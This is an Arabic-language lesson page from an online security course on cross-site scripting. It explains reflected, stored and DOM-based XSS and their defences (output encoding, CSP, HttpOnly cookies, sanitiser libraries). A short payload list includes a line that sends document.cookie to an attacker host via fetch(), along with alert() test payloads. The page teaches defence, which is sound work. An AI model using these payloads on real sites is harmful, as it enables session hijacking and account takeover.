Cyber Security Academy · درس

البرمجة النصية عبر المواقع (XSS)

استكشف XSS المنعكس والمخزّن والقائم على DOM باستخدام حمولات حقيقية وتدابير التخفيف عبر CSP

الدرس 2 من 413 خطوة

البرمجة النصية عبر المواقع (XSS) درس مجاني في Cyber Security Academy على CoddyKit. هذا هو الدرس 2 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في Cyber Security Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة Cyber Security Academy 4 دروس في المجموع.

ما هو XSS؟

يحدث البرمجة النصية عبر المواقع (XSS) عندما يحقن المهاجم JavaScript ضاراً في صفحة ويب يشاهدها مستخدمون آخرون. وينفّذ المتصفح البرنامج النصي ضمن سياق جلسة الضحية، مما يتيح سرقة ملفات تعريف الارتباط، وتسجيل ضغطات المفاتيح، والتلاعب بالصفحة.

XSS المنعكس

يحدث XSS المنعكس (غير المستمر) عندما يُضمَّن البرنامج النصي الضار في الطلب (مثل معلمة في عنوان URL) ويُعاد في الاستجابة. ويجب على الضحية النقر على رابط مُعدّ خصيصاً. مثال: https://site.com/search?q=<script>alert(1)</script>

XSS المخزّن

يحدث XSS المخزّن (المستمر) عندما يُحفَظ البرنامج النصي الضار في قاعدة البيانات (مثل تعليق أو حقل ملف شخصي) ويُرسَل إلى كل زائر. وهو أخطر من XSS المنعكس لأنه لا يحتاج إلى رابط خاص — إذ يُشغّل البرنامج النصي مع كل عرض للصفحة.

XSS المستند إلى DOM

يحدث XSS المستند إلى DOM عندما يقرأ JavaScript بيانات يتحكم بها المهاجم (تجزئة عنوان URL أو معلمة استعلام) ويكتبها في DOM من دون تنقية. ويحدث الهجوم بالكامل على جانب العميل؛ فلا يرى الخادم الحمولة مطلقاً.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

تأثير XSS

ما الذي يمكن للمهاجم فعله باستخدام XSS:

  • سرقة ملفات تعريف ارتباط الجلسة (document.cookie) ← الاستيلاء على الحساب
  • تسجيل ضغطات المفاتيح (وسرقة كلمات المرور أثناء كتابتها)
  • إعادة التوجيه إلى مواقع التصيد الاحتيالي
  • تنفيذ إجراءات نيابةً عن الضحية (CSRF عبر XSS)
  • تشويه الصفحة

حمولات XSS

حمولات اختبار بسيطة:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

ترميز المخرجات

الدفاع الأساسي: ترميز جميع المخرجات التي يتحكم بها المستخدم قبل إدراجها في HTML. حوّل الأحرف الخاصة إلى كيانات HTML: < → &lt;، > → &gt;، " → &quot;.

استخدم الترميز المناسب للسياق: HTML وJS وعنوان URL وCSS.

سياسة أمان المحتوى (CSP)

إن CSP ترويسة استجابة تخبر المتصفح بالبرامج النصية المسموح بتنفيذها. وتحظر سياسة CSP الصارمة البرامج النصية المضمّنة وتقيّد المصادر:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

ملفات تعريف الارتباط HttpOnly

يمنع تعيين علامة HttpOnly على ملفات تعريف ارتباط الجلسة JavaScript من قراءتها عبر document.cookie. وحتى إذا نُفّذ XSS، فلن يتمكن المهاجم من سرقة رمز الجلسة. وهذه أهم طبقة للتخفيف إلى جانب ترميز المخرجات.

مكتبات التنقية

عندما يجب السماح للمستخدمين بإدخال HTML (مثل محررات النص المنسّق)، استخدم مكتبة تنقية بدلاً من كتابة مكتبتك الخاصة:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

اختبار XSS

اختبر وجود XSS باستخدام أدوات مطوري المتصفح أو Burp Suite أو أدوات الفحص الآلية. افحص جميع حقول إدخال المستخدم، ومعلمات عناوين URL، وترويسات HTTP، ودوال مصبّات DOM: innerHTML وdocument.write وeval وsetTimeout مع معاملات نصية.

اختبار سريع: XSS

أي نوع من XSS يخزّن الحمولة الضارة في قاعدة البيانات، مما يؤدي إلى تنفيذها لكل زائر للصفحة المتأثرة؟

مراجعة الدرس

يحقن XSS JavaScript في الصفحات التي يشاهدها الضحايا. وتشمل الأنواع: المنعكس (القائم على عنوان URL)، والمخزّن (المحفوظ في قاعدة البيانات)، والمستند إلى DOM (على جانب العميل). وتشمل وسائل الدفاع الأساسية: ترميز المخرجات، وملفات تعريف الارتباط HttpOnly، وسياسة أمان المحتوى. استخدم DOMPurify لتنقية HTML. لا تُدرج أبداً بيانات المستخدم غير المنقّاة في innerHTML أو eval().

البدء مجانًا

تعلم Cyber Security Academy مع معلم ذكاء اصطناعي — مجانًا

اكتب وقم بتشغيل أكوادك الفعلية في المتصفح، واحصل على مساعدة فورية من معلم ذكاء اصطناعي متاح 24/7، واستمر من حيث توقفت على الويب أو في التطبيق.

الدورات
76
الدروس
303

الأسئلة الشائعة

هل درس «البرمجة النصية عبر المواقع (XSS)» مجاني؟

نعم — نص درس «البرمجة النصية عبر المواقع (XSS)» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة Cyber Security Academy، انتقل إلى CoddyKit PRO. تتضمن دورة Cyber Security Academy 4 دروس في المجموع.

ماذا ستتعلم في «البرمجة النصية عبر المواقع (XSS)»؟

استكشف XSS المنعكس والمخزّن والقائم على DOM باستخدام حمولات حقيقية وتدابير التخفيف عبر CSP تتمرن على Cyber Security Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.

هل أحتاج إلى خبرة سابقة لأبدأ Cyber Security Academy؟

لا تُشترط خبرة سابقة. Cyber Security Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 2 من أصل 4.

كم من الوقت يستغرق درس «البرمجة النصية عبر المواقع (XSS)»؟

معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.

هل يمكنني كتابة وتشغيل أكواد في درس Cyber Security Academy هذا؟

نعم. كل درس في Cyber Security Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.

جميع الدروس في هذه الدورة

  1. حقن SQL: كيف ولماذا يعمل
  2. البرمجة النصية عبر المواقع (XSS)
  3. تزوير الطلبات عبر المواقع (CSRF)
  4. سوء تهيئة الأمان والخدمات المكشوفة
← العودة إلى Cyber Security Academy